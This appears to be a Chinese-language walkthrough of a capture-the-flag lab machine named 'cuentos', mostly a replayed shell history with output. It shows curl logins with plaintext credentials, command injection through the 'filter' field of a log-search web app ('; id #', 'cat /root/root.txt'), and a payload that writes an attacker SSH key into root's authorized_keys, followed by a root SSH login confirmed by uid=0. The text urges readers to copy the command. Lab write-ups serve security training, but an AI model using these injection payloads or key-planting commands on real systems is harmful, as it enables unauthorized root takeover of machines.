curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13'
rm /tmp/cookies.txt 
curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13'
cat /tmp/cookies.txt 
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs -d 'filter=' ; id #'
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs --data-urlencode "filter=' ; mkdir -p /root/.ssh ; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLNGlNDGOVKJ9RSumEEtGyfxM21ZlUvzYf6EY05qPO9TJaDsShheOFClWLXmZMucXqUbHtt+5ZLEUmi9XcEKkaaaUMN0TNmOaovRXL9M+r2JDCyWaJZjNVZmsb5Nr+MzMY5v1QV1vmjyEFE9q0DK6evN9pYUZ1cpZ6f5eZoFh5uJJtX0UaNxira0sJFoxXosdUFjfhv4XsstCeSjqFcLBO64efzsrHXhuoeWg3BgDZ2tqUA/wxZSZAu7HnUVIhToBl4Rpt99W1PybX3xaPbDoQpZe5Gi+8lf0AYuWf3EiH4zPr3+uFwkYozFeM7R+cvSUmIhwoCjVyQAp4bthRmy8S+ssFG9uoAqIWLY3j9RRwzCrIm8drl8FjFOs6jVkqT9Pi+1UQjEBeUEnCzrb17pNn+EWX+wvE/z5QmMI+qzvw/V3EqGPrccv6ZxdsGtRF10dzNV5pFJlXNA6sCBiWRNeKPrr00j0go5bjxqySzirytfyle7JxRo0aGDVfLE8HqUc= root@kali' >> /root/.ssh/authorized_keys #"
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs --data-urlencode "filter=' ; mkdir -p /root/.ssh ; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLNGlNDGOVKJ9RSumEEtGyfxM21ZlUvzYf6EY05qPO9TJaDsShheOFClWLXmZMucXqUbHtt+5ZLEUmi9XcEKkaaaUMN0TNmOaovRXL9M+r2JDCyWaJZjNVZmsb5Nr+MzMY5v1QV1vmjyEFE9q0DK6evN9pYUZ1cpZ6f5eZoFh5uJJtX0UaNxira0sJFoxXosdUFjfhv4XsstCeSjqFcLBO64efzsrHXhuoeWg3BgDZ2tqUA/wxZSZAu7HnUVIhToBl4Rpt99W1PybX3xaPbDoQpZe5Gi+8lf0AYuWf3EiH4zPr3+uFwkYozFeM7R+cvSUmIhwoCjVyQAp4bthRmy8S+ssFG9uoAqIWLY3j9RRwzCrIm8drl8FjFOs6jVkqT9Pi+1UQjEBeUEnCzrb17pNn+EWX+wvE/z5QmMI+qzvw/V3EqGPrccv6ZxdsGtRF10dzNV5pFJlXNA6sCBiWRNeKPrr00j0go5bjxqySzirytfyle7JxRo0aGDVfLE8HqUc= root@kali
' >> /root/.ssh/authorized_keys #"
ls -l
ls -la
cat .bash_history 
exit
id
sudo -l
exit
ls -al
cd 
ls -al
cat .bash_history
ss -lunpt
ls -al /tmp/
url -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13' -L 
curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13'curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs   -d "filter=' ; cat /root/root.txt #"                  
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs   -d "filter=' ; cat /root/root.txt #"   
cat /tmp/cookies.txt                                                                                         
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs   -d "filter=' ; cat /root/root.txt #"   
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs   -d "filter=' ; id #"                   
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs -d "filter=' ; id #"                     
curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13'   
rm /tmp/cookies.txt                                                                                         
curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13'   
cat /tmp/cookies.txt                                                                                         
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs -d 'filter=' ; id #'                     
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs --data-urlencode "filter=' ; mkdir -p /root/.ssh ; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLNGlNDGOVKJ9RSumEEtGyfxM21ZlUvzYf6EY05qPO9TJaDsShheOFClWLXmZMucXqUbHtt+5ZLEUmi9XcEKkaaaUMN0TNmOaovRXL9M+r2JDCyWaJZjNVZmsb5Nr+MzMY5v1QV1vmjyEFE9q0DK6evN9pYUZ1cpZ6f5eZoFh5uJJtX0UaNxira0sJFoxXosdUFjfhv4XsstCeSjqFcLBO64efzsrHXhuoeWg3BgDZ2tqUA/wxZSZAu7HnUVIhToBl4Rpt99W1PybX3xaPbDoQpZe5Gi+8lf0AYuWf3EiH4zPr3+uFwkYozFeM7R+cvSUmIhwoCjVyQAp4bthRmy8S+ssFG9uoAqIWLY3j9RRwzCrIm8drl8FjFOs6jVkqT9Pi+1UQjEBeUEnCzrb17pNn+EWX+wvE/z5QmMI+qzvw/V3EqGPrccv6ZxdsGtRF10dzNV5pFJlXNA6sCBiWRNeKPrr00j0go5bjxqySzirytfyle7JxRo0aGDVfLE8HqUc= root@kali' >> /root/.ssh/authorized_keys #"                                                             
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs --data-urlencode "filter=' ; mkdir -p /root/.ssh ; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLNGlNDGOVKJ9RSumEEtGyfxM21ZlUvzYf6EY05qPO9TJaDsShheOFClWLXmZMucXqUbHtt+5ZLEUmi9XcEKkaaaUMN0TNmOaovRXL9M+r2JDCyWaJZjNVZmsb5Nr+MzMY5v1QV1vmjyEFE9q0DK6evN9pYUZ1cpZ6f5eZoFh5uJJtX0UaNxira0sJFoxXosdUFjfhv4XsstCeSjqFcLBO64efzsrHXhuoeWg3BgDZ2tqUA/wxZSZAu7HnUVIhToBl4Rpt99W1PybX3xaPbDoQpZe5Gi+8lf0AYuWf3EiH4zPr3+uFwkYozFeM7R+cvSUmIhwoCjVyQAp4bthRmy8S+ssFG9uoAqIWLY3j9RRwzCrIm8drl8FjFOs6jVkqT9Pi+1UQjEBeUEnCzrb17pNn+EWX+wvE/z5QmMI+qzvw/V3EqGPrccv6ZxdsGtRF10dzNV5pFJlXNA6sCBiWRNeKPrr00j0go5bjxqySzirytfyle7JxRo0aGDVfLE8HqUc= root@kali 
' >> /root/.ssh/authorized_keys #"                                                                           
ls -l                                                                                                       
ls -la                                                                                                       
cat .bash_history                                                                                           
exit

然后就跟着这个命令进行上传ssh密钥提权就是了!

churrumais@cuentos:~$ curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs --data-urlencode "filter=' ; mkdir -p /root/.ssh ; echo ' 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD3A8EGE0C+xZK2X6gWiTbuNq6QkIA/Zj/TN7qcBUvJUkxLNMiK3orFoTJUiCmAFW4Bx1qVYRks9HmQt8/ubbqIhmCNczcY+rNwfA8oG3sA4PK56/f5yB8KXJxTBG3m5iieKxZFA1IqLYZwSnZ6SGejYOZZvasDWvW6Y8aiQyhQQYAh0WUKR+msXZ5tuPepr7Ewa4neYKebEMaC5RNi+kdi0dX8e4MP8HG6BjgkK09UVPGy9VD5fQo5OMv+t7bQQqTMKAHVmCZatTeuGc4XCR6F/LdjFQza5+FIEUaQjMyooE7GpzLDi1cBwdOcKt4RaThW3Pn/Ikod6SQ/S+DDrUITEyYuVwsURN0hmwckeAv3km//Lpc01imMLDj5kojWpWifusoBDOCnFgnwd2wz3OxbYpU69dWrTiCc+ex6S7YuUwWTM2qhqqWodnB1eJHdQfcQzjiV4id21up9LGm5Rn1yEeEuW+nJvwrH2MwrFuVfWO3FvJ0PdYbWPS8ausSHa9c= root@kali ' >> /root/.ssh/authorized_keys #"
​
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>LogAnalyzer Pro</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body {
            background-color: #f8f9fa;
            padding-top: 20px;
        }
        .container {
            max-width: 1200px;
        }
        pre {
            background-color: #f8f9fa;
            padding: 15px;
            border-radius: 5px;
            overflow-x: auto;
        }
        .navbar-brand {
            font-weight: bold;
        }
    </style>
</head>
<body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark mb-4">
        <div class="container">
            <a class="navbar-brand" href="/dashboard">LogAnalyzer Pro v1.0</a>
.......................................
.......................................
.......................................
.......................................
templates/login.html:                    &lt;/div&gt;
templates/login.html:                    &lt;div class=&#34;mb-3&#34;&gt;
templates/login.html:                        &lt;label for=&#34;password&#34; class=&#34;form-label&#34;&gt;Password&lt;/label&gt;
templates/login.html:                        &lt;input type=&#34;password&#34; class=&#34;form-control&#34; id=&#34;password&#34; name=&#34;password&#34; required&gt;
templates/login.html:                    &lt;/div&gt;
templates/login.html:                    &lt;button type=&#34;submit&#34; class=&#34;btn btn-primary w-100&#34;&gt;Iniciar Sesión&lt;/button&gt;
templates/login.html:                &lt;/form&gt;
templates/login.html:            &lt;/div&gt;
templates/login.html:        &lt;/div&gt;
templates/login.html:    &lt;/div&gt;
templates/login.html:&lt;/body&gt;
templates/login.html:&lt;/html&gt;
</code></pre>
                    </div>
                
            </div>
        </div>
    </div>
</div>
​
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

成功了后就直接ssh登录root就ok了

┌──(root㉿kali)-[/etc/ssh]
└─# ssh root@192.168.81.61 -i ssh_host_rsa_key
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
​
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
​
 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.
​
     https://ubuntu.com/pro
​
Expanded Security Maintenance for Infrastructure is not enabled.
​
0 updates can be applied immediately.
​
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
​
​
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
​
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Sat Jan  3 09:44:05 2026 from 192.168.81.26
root@cuentos:~# id
uid=0(root) gid=0(root) groups=0(root)

就此结束了!!!!!!!!!!!

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐